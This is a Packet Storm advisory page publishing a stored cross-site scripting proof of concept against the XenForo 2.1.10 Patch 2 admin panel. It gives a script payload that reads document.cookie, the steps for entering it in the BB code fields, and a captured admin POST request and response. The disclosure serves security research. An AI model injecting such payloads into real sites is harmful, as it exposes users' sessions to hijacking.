what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

XenForo 2.1.10 Patch 2 Cross Site Scripting

XenForo 2.1.10 Patch 2 Cross Site Scripting
Posted Aug 17, 2020
Authored by Vincent666 ibn Winnie

XenForo version 2.1.0 Patch 2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | dc51a83e717b75116c25528d1b3a8342dafcd2220bbfe77a7e2298e2a0ad11cf

XenForo 2.1.10 Patch 2 Cross Site Scripting

Change Mirror Download
# Exploit Title: XenForo v2.1.10 Patch 2 Stored XSS
# Date:16.08.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://xenforo.com/demo/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog :https://pentest-vincent.blogspot.com/
# PoC :https://pentest-vincent.blogspot.com/2020/08/xenforo-v2110-patch-2-stored-xss.html

PoC:

I use demo XenForo Admin panel for test.
Create demo site:
https://xenforo.com/demo/
Login:admin
Password:admin
Go to the Admin panel -> open Content-> bb codes->Add bb code

Put xss code in field "Title" or "Description" or other and save this.

Xss code:

"""><script>alert(document.cookie)</script><script>alert("Stored XSS
XenForo")</script>

We have a stored xss.

Picture:

https://imgur.com/a/sfE6DwZ

Video:

https://www.youtube.com/watch?v=eIJwP0Y1luQ&feature=youtu.be

https://27ff066882409b73.demo-xenforo.com/2110p2/admin.php?bb-codes/save
Host: 27ff066882409b73.demo-xenforo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://27ff066882409b73.demo-xenforo.com/2110p2/admin.php?bb-codes/add
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------3006497114009
Content-Length: 2530
Origin: https://27ff066882409b73.demo-xenforo.com
Connection: keep-alive
Cookie: 2110p2_csrf=R0-3YLvAUaqs1EVL;
2110p2_user=1%2CK6XXrhPx4KhqByRM3saOr3gOzYJ0_-8cA-qKDEcw;
2110p2_session=m0BX5XYtnGIc5HogKPEcY2jwdZrOd95u;
2110p2_session_admin=bru_eXQSO-jIXtAaESSJDoD69BLcIiVd
bb_code_id=test&title=""><script>alert("Stored XSS
XenForo")</script>&desc=&bb_code_mode=replace&has_option=no&replace_html=&callback_class=&callback_method=&editor_icon_type=&example=&output=&allow_signature=1&active=1&addon_id=&option_regex=&trim_lines_after=0&replace_html_email=&replace_text=&_xfToken=1597585880,aa740358187e6579a880755adc20d9ba,1597585880,aa740358187e6579a880755adc20d9ba&_xfRequestUri=/2110p2/admin.php?bb-codes/add&_xfWithData=1&_xfResponseType=json
POST: HTTP/1.1 200 OK

Date: Sun, 16 Aug 2020 13:51:29 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/7.2.12
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Last-Modified: Sun, 16 Aug 2020 13:51:29 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, no-cache, max-age=0
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 254
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close